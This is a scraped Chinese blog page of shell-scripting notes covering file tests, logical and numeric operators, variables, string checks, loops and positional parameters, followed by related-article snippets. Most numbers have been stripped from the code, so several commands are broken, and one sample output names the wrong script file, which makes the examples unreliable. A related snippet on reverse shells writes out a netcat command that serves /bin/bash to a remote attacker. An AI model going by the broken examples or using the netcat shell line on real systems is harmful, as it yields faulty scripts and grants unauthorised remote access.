[sh]shell小结
一 判断
-d 测试是否为目录。
-f 判断是否为文件。 -s 判断文件是否为空 如果不为空 则返回0,否则返回1
-e 测试文件或目录是否存在。
-r 测试当前用户是否有权限读取。
-w 测试当前用户是否有权限写入。
-x 测试当前用户是否有权限执行。
语法:
[ -d /etc/fstab ]
且 或 非
&& 逻辑的与,"而且"的意思。
|| 逻辑的或,"或者"的意思。
! 逻辑的否 [ $USER != root ] && echo "user"
[ $USER != root ] && echo "user" || echo "root" -eq 判断是否等于
-ne 判断是否不等于
-gt 判断是否大于
-lt 判断是否小于
-le 判断是否等于或小于
-ge 判断是否大于或等于 [ -gt ]
二 变量
[root@lanny ~]# FreeMem=`free -m | grep cache: | awk '{print $3}'`
验证变量是否已经获得可用内存量:
[root@lanny ~]# echo $FreeMem
告警内存不够用:
[root@lanny ~]# [ $FreeMem -lt ] && echo "Insufficient Memory"
Insufficient Memory
三 字符串
= 比较字符串内容是否相同。
!= 比较字符串内容是否不同。
-z 判断字符串内容是否为空。 ----->从而判断变量是否被定义.
[ -n "$var" ] :判断$var变量是否有值->已经定义?
判断String变量是否为空值: [root@lanny ~]# [ -z $String ] 上一条命令执行成功,说明变量String确实为空值:
[root@lanny ~]# echo $? 输出当前的系统语言:
[root@lanny ~]# echo $LANG
en_US.UTF- 判断当前的系统语言是否为英文,否则输出“不是英语”:
[root@lanny ~]# [ $LANG != "en.US" ] && echo "Not en.US"
Not en.US
四 语句
if then fi
for do done
while do done .1判断语句
if [ -f /home/ ];then
echo ok;
fi
.2循环语句
for i in `seq `;do
echo $i
done while :;do
echo `date`
sleep
done
五 参数:
$? 显示上一条命令的返回值,非0则为失败,即不是目录
$ 第一个参数
[root@lanny ~]# vim test.sh
#!/bin/bash
echo "当前脚本名称为$0"
echo "总共有$#个参数,分别是$*。"
echo "第1个参数为$1,第5个为$5。 [root@lanny ~]# sh test.sh one two three four five six
当前脚本名称为Example.sh
总共有6个参数,分别是one two three four five six。
第1个参数为one,第5个为five。
[sh]shell小结的更多相关文章
- source command not found in sh shell解决办法
在Ubuntu系统中执行脚本的时候突然出现错误"source command not found in sh shell" 这个其实在Ubuntu 当中 执行脚本默认的使用的是da ...
- [sh]shell语法小结
参考 基础语法 数字比较 -lt -eq -gt [ `ps -ef|grep nginx|grep -v grep|wc -l` -eq 0 ] str比较 == != [ $USER == &qu ...
- [svc]entrypoint.sh shell脚本解析
最近搞influxdb绘图,看到其dockerfile的entry.sh,无奈看的不是很懂. 于是查了下.. docker run 通过传参实现配置文件覆盖 实现启动镜像时候可指定配置文件 如果不指定 ...
- Linux操作、hadoop和sh脚本小结
近期一直在忙项目上的事情,今天对以前的工作做一个简单的小结.明天就是国庆节啦. 1 脚本可以手动执行,可是crontab缺总是找不到路径? #!/bin/bash. /etc/profile . / ...
- 反弹Shell小结
1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc server-ip 7777 1.2.反向反弹shell 攻击机 nc ...
- [sh]shell脚本栗子
我会定期的把看到的一些好的shell和py脚本搜集在这里,供参考学习: 命令行回收站 推荐一个不相关的:trash-cli,就是命令行版的回收站,它的神奇之处在于不是简单的把文件移动到回收站,而且可以 ...
- shell小结
一 判断 -d 测试是否为目录.-f 判断是否为文件. -s 判断文件是否为空 如果不为空 则返回0,否则返回1 -e 测试文件或目录是否存在. -r 测试当前用户是否有权限读取. -w 测试当前用户 ...
- centos/ubuntu 双击运行 .sh(shell)文件
centos 创建桌面双击启动程序(更改图标) - Feythin Lau - 博客园http://www.cnblogs.com/feiyuliu/archive/2012/11/29/279503 ...
- [sh]shell命令缩写
命令缩写: ls:list(列出目录内容) cd:Change Directory(改变目录) su:switch user 切换用户 rpm:redhat package manager 红帽子打包 ...
随机推荐
- .net反编译工具ILSpy
下载地址:http://www.fishlee.net/service/softarchive/57
- 第十一节,命名空间namespace
1,命名空间的定义 命名空间可以把不同的方法分散到不同的文件去实现,如果你会objective-C,他的作用和里面的类目有异曲同工之妙.当然了也有很多不同的地方,首先要明白的是,命名空间并不是一个类, ...
- PHP高级教程-Data
PHP date() 函数 PHP date() 函数用于格式化时间/日期. PHP date() 函数 PHP date() 函数可把时间戳格式化为可读性更好的日期和时间. 时间戳是一个字符序列,表 ...
- vue diff算法 patch
1.diff比较算法 图示: diff比较只会在同层级进行, 不会跨层级比较. 所以diff是:广度优先算法. 时间复杂度:O(n) 代码示例: <!-- 之前 --> <div&g ...
- expdp impdp 错误: ORA-39064: 无法写入日志文件 ORA-29285: 文件写入错误(解决方案)
windows: 运行 -> regedit ->查找 键值 NLS_LANG 将字符集 SIMPLIFIED CHINESE_CHINA.ZHS16GBK 修改为AMERICAN_AME ...
- MHDD修复硬盘坏道
2种修复的方法,本人已经尝试过,非常管用! 1.先按SHIFT+F3扫描硬盘连接并选择,按F4键,先用一般模式扫一遍,再用高级模式扫一变,具体方法是选择LBA模式,remap项OFF,Loop the ...
- shell脚本中的几个括号总结(小括号/大括号/花括号)
from:http://www.cnblogs.com/hanyan225/archive/2011/10/06/2199652.html 是毋庸置疑的,方便了我们也迷惑了我们,比如这些杂七杂八的括号 ...
- servlet Servlet例子
Servlet是sun公司提供的一门用于开发动态web资源的技术. Sun公司在其API中提供了一个servlet接口(参看J2EE API文档),用户若想使用Java程序开发一个动态web资源, ...
- 在Eclipse中开发C/C++项目
摘要:通过本文你将获得如何在Eclipse平台上开发C/C++项目的总体认识.虽然Eclipse主要被用来开发Java项目,但它的框架使得它很容易实现对其他开发语言的支持.在这篇文章里,你将学会如何使 ...
- 待字闺中之快排单向链表;leetcode之Sort List
题目来源.待字闺中.原创@陈利人 .欢迎大家继续关注微信公众账号"待字闺中" 分析:思路和数据的高速排序一样,都须要找到一个pivot元素.或者节点. 然后将数组或者单向链表划分为 ...